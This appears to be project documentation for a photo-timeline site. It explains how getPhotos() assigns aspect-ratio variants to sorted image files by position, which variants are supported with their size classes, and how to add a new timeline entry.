How the third parameter is matched

The third parameter is not random metadata. It is position-based.

For this code:

photos: getPhotos(
  '2026-03-07-botanicalGarden',
  'Early spring cherry blossoms at the botanical garden',
  ['3x4', '3x4', '3x4', '3x4', '3x4', '3x4']
)

Assume the folder src/assets/photos/2026-03-07-botanicalGarden/ contains these files after sorting:

01.webp
02.webp
03.webp
04.webp
05.webp
06.webp

Then the mapping is:

So if you want the first photo in the folder to use 3x4, the first item in the third array must be 3x4.

If you want mixed ratios, write them in the same order as the sorted files:

photos: getPhotos('2025-03-01-dongqianhu', 'Ningbo - Dongqian Lake', ['4x5', '1x1', '4x3'])

That means:

• first sorted image -> 4x5
• second sorted image -> 1x1
• third sorted image -> 4x3

If the folder contains more photos than the array length:

photos: getPhotos('example-folder', 'Example alt', ['3x4', '4x5'])

Then:

• first sorted image -> 3x4
• second sorted image -> 4x5
• third sorted image and later -> default 4x3

Supported variants

PolaroidVariant is currently:

export type PolaroidVariant = '1x1' | '4x5' | '4x3' | '3x4' | '9x16'

Current size mapping in src/components/photos/PolaroidCard.tsx:

const polaroidVariants: Record<PolaroidVariant, string> = {
  '1x1': 'w-20 h-20',
  '4x5': 'w-20 h-24',
  '4x3': 'w-20 h-16',
  '3x4': 'w-[4.5rem] h-24',
  '9x16': 'w-20 h-32',
}

How to add a new timeline entry

1. Create a folder under src/assets/photos/, for example 2026-04-01-spring-walk.
2. Put image files into that folder.
3. Make sure the file names are in the order you want after sorting.
4. Add one item to PhotosList in src/lib/photos.ts.
5. Pass the third argument to getPhotos() in the same order as the sorted files.

Example:

{
  title: 'Spring Walk',
  icon: { type: 'emoji', value: '🌿' },
  description: 'A short walk with a camera.',
  date: '2026-04-01',
  travel: '',
  photos: getPhotos(
    '2026-04-01-spring-walk',
    'Photos from a spring walk',
    ['3x4', '4x3', '4x5', '4x3']
  ),
}

Notes

• alt is applied to every photo returned from the same folder.
• The order is determined by sorted file path, not by import order in the editor.
• If you rename files, the sort order may change, and the variants array will then map to different photos.